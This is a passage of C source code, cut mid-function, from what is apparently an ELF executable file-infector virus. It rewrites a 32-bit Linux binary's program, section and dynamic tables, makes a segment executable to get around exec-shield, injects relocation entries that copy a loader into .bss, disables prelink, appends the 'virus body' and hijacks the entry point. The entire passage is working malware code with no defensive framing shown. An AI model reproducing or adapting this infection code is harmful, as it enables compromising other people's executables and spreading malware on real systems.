	uint32_t u, j, x;
	/* make some space */
	for (i = 0; i < ehdr->e_phnum; i++)
		if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0)
			break;
	if (i == ehdr->e_phnum)
		goto badluck;
	MAKE_HOLE(0, 4096);
	memmove(m, m + 4096, sizeof(Elf32_Ehdr));
	ehdr = (Elf32_Ehdr*)m;
	memmove(m + sizeof(Elf32_Ehdr),
		m + 4096 + ehdr->e_phoff,
		ehdr->e_phnum * sizeof(Elf32_Phdr));
	ehdr->e_phoff = sizeof(Elf32_Ehdr);
	phdr = (Elf32_Phdr*)(m + ehdr->e_phoff);
	ehdr->e_shoff += 4096;
	shdr = (Elf32_Shdr*)(m + ehdr->e_shoff);
	phdr[i].p_vaddr -= 4096;
	phdr[i].p_filesz += 4096;
	phdr[i].p_memsz += 4096;
	u = phdr[i].p_vaddr;	
	/* fix segment table */
	for (i = 0, x = 0; i < ehdr->e_phnum; i++) {
		if (phdr[i].p_type == PT_PHDR) {
			phdr[i].p_offset = sizeof(Elf32_Ehdr);
			phdr[i].p_vaddr = phdr[i].p_paddr = u + sizeof(Elf32_Ehdr);
		} else
		if (phdr[i].p_offset > 0)
			phdr[i].p_offset += 4096;
		if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset != 0)
			x = i;
	}
	/* fix section table, find .dynamic and its size */
	Elf32_Dyn *dyn = NULL;	
	uint32_t dsz = 0;
	for (i = 1; i < ehdr->e_shnum; i++) {
		if (shdr[i].sh_offset)
			shdr[i].sh_offset += 4096;
		if (shdr[i].sh_type == SHT_DYNAMIC) {
			dyn = (Elf32_Dyn*)(m + shdr[i].sh_offset);
			dsz = shdr[i].sh_size;
		}
	}
	if (x == 0 || dyn == NULL)
		goto badluck;
	/* find address of .bss, adjust its size if neccessary */
	uint32_t bss_addr = phdr[x].p_vaddr + phdr[x].p_filesz;
	if (phdr[x].p_memsz - phdr[x].p_filesz < CSIZE)
		phdr[x].p_memsz = phdr[x].p_filesz + CSIZE;
	/* kernel.exec-shield */
	phdr[x].p_flags |= PF_X;
	/* clean the beginning of the file */		
	for (i = (char*)&phdr[ehdr->e_phnum] - m; i < shdr[1].sh_offset; i++)
		m[i] = 0x00;
	/* patch loader */	
	uint32_t nl = (l + 4095) & 0xfffff000;
	*(uint32_t*)(g->loader + PATCH_OFFSET) = nl;
	/* fill the new relocation table */
	uint32_t rela_off = sizeof(Elf32_Ehdr) + sizeof(Elf32_Phdr) * ehdr->e_phnum;
	uint32_t rela_sz = 0;
	for (i = 0; i < (CSIZE + 3) / 4; i++) {
		Elf32_Rela rela;

		rela.r_offset = bss_addr + i * 4;
		rela.r_info = ELF32_R_INFO(0, R_386_RELATIVE);
		rela.r_addend = *(uint32_t*)(g->loader + i * 4);

		memcpy(m + rela_off + i * sizeof(Elf32_Rela), (char*)&rela, sizeof(Elf32_Rela));
		
		rela_sz += sizeof(Elf32_Rela);
	}
	void insert_dyn(uint32_t tag, uint32_t val) {
		int i;
		for (i = 0; dyn[i].d_tag != DT_NULL; i++)
			;
		if ((i + 2) < dsz / sizeof(Elf32_Dyn)) {
			dyn[i].d_tag = tag;
			dyn[i++].d_un.d_val = val;
			dyn[i].d_tag = DT_NULL;
			dyn[i].d_un.d_val = 0;
			dsz += sizeof(Elf32_Dyn);
		} else  {
			for (i = 0; dyn[i].d_tag != DT_NULL; i++)
				if (dyn[i].d_tag == DT_INIT || dyn[i].d_tag == DT_FINI || dyn[i].d_tag == DT_DEBUG) {
					dyn[i].d_tag = tag;
					dyn[i].d_un.d_val = val;
					break;
				}
		}
	}
	/* insert relocation table tags to .dynamic */
	insert_dyn(DT_RELA, u + rela_off);
	insert_dyn(DT_RELACOUNT, rela_sz / sizeof(Elf32_Rela));
	insert_dyn(DT_RELASZ, rela_sz);
	/* fuck prelink to force the rtld to relocate the file */
	for (i = 0; dyn[i].d_tag != DT_NULL; i++)
		if (dyn[i].d_tag == DT_GNU_LIBLIST) {
			for (j = 1; j < ehdr->e_shnum; j++)
				if (dyn[i].d_un.d_val >= shdr[j].sh_addr &&
				dyn[i].d_un.d_val < shdr[j].sh_addr + shdr[j].sh_size)
				*(uint32_t*)(m + shdr[j].sh_offset + 8) = 0;
		}
	/* write virus body */
	ftruncate(h, nl);	
	lseek(h, 0, 2);
	write(h, g->self, g->size);
	write(h, &bss_addr, 4);
	pwrite(h, &ehdr->e_entry, 4, nl + 10, 0);
	ehdr->e_entry = bss_addr;
badluck:
